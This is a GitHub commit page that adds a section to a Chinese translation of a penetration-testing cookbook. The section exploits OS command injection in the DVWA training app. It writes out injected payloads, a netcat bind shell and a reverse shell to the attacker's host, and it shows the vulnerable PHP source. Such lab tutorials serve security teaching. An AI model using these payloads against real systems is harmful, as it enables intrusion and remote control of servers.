Skip to content

Commit

Permalink
6.2
Browse files Browse the repository at this point in the history
  • Loading branch information
wizardforcel committed Oct 16, 2016
1 parent 027a49f commit 10a6dbc
Showing 1 changed file with 80 additions and 1 deletion.
81 changes: 80 additions & 1 deletion ch6.md
Original file line number Diff line number Diff line change
Expand Up @@ -100,6 +100,85 @@ PHP 中的`system()`函数是攻击核心,它所做的是,执行系统命令
nc -lp 12345 -e /bin/bash
```
它打开服务器的 TCP 12345 端口并监听链接。链接成功之后,它会执行`/bin/bash`并把接受输入,把输出通过网络发给被连接的主机(攻击者主机)。
它打开服务器的 TCP 12345 端口并监听连接。连接建立之后,它会将接收的信息作为输入来执行`/bin/bash`,并把输出通过网络发给被连接的主机(攻击者主机)。
也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。
## 6.2 利用 OS 命令注入
在上一个秘籍中,我们看到 PHP 的`system()`如何用于在服务器中执行 OS 命令。有时开发者使用类似于它的指令,或者相同的功能来执行一些人和,有时候他们会使用无效的用户输入作为参数来执行命令。
这个秘籍中,我们会利用命令注入漏洞并提取服务器中的重要信息。
### 操作步骤
1. 登录 DVWA 访问`Command Execution`。
2. 我们会看到` Ping for FREE `表单,试试它吧。Ping `192.168.56.1 `(在主机网络中,我们的 Kali Linux 的 IP)。
![](img/6-2-1.jpg)
这个输出看起来像是直接的 ping 命令的输出。这表明服务器使用 OS 命令来执行 ping。所以它可能存在 OS 命令注入。
3. 让我们尝试注入一个非常简单的命令,提交下列代码:
```
192.168.56.1;uname -a.
```
![](img/6-2-2.jpg)
我们可以看到`uname`命令的输出就在 ping 的输出之后。这里存在命令注入漏洞。
4. 如果不带IP地址会怎么样呢:`;uname -a:`。
![](img/6-2-3.jpg)
5. 现在,我们打算获取服务端的反向 shell。首先我们必须确保服务器拥有所需的任何东西。提交下列代码:`;ls /bin/nc*`。
![](img/6-2-4.jpg)
所以我们拥有多于一种版本的 Netcat,我们打算使用它来生成连接。`nc`的OpenBSD版本不支持执行连接命令,所以我们使用传统的版本。
6. 下一步是监听 Kali 主机的连接。打开终端并执行下列命令:
```
nc -lp 1691 -v
```
7. 返回浏览器中,提交这个:`;nc.traditional -e /bin/bash 192.168.56.1 1691 &`。
![](img/6-2-5.jpg
我们的终端会对连接做出反应。我们现在可以执行非交互式命令并检查它们的输出。
### 工作原理
就像 SQL 注入的例子那样,命令注入漏洞的原因是弱输入校验机制,以及使用用户提供的数据来拼接之后会用做 OS 命令的字符串。如果我们查看刚刚攻击的页面源代码(每个 DVWA 页面的右下角会有个按钮),会看到这些:
```php
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
```

我们可以看到,它直接将用户的输入附加到 ping 命令后面。我们所做的仅仅是添加一个分号,系统的 shell 会将其解释为命令的分隔符,以及下一个我们打算执行的命令。

在成功执行命令之后,下一步就是验证服务器是否拥有 Netcat。它是一个能够建立网络连接的工具,在一些版本中还可以在新连接建立之后执行命令。我们看到了服务器的系统拥有两个不同版本的 Netcat,并执行了我们已知支持所需特性的版本。

之后我们配置攻击系统来监听 TCP 1691 端口连接(也可以是任何其它可用的 TCP 端口),然后我们让服务器连接到我们的机器,通过该端口并在连接建立时执行`/bin/bash`(系统 shell)。所以任何我们通过连接发送的东西都会被服务器接收作为 shell 的输入。

也可以让服务器下载一些恶意程序,例如提权利用,执行它来获得更高权限。

0 comments on commit 10a6dbc

Please sign in to comment.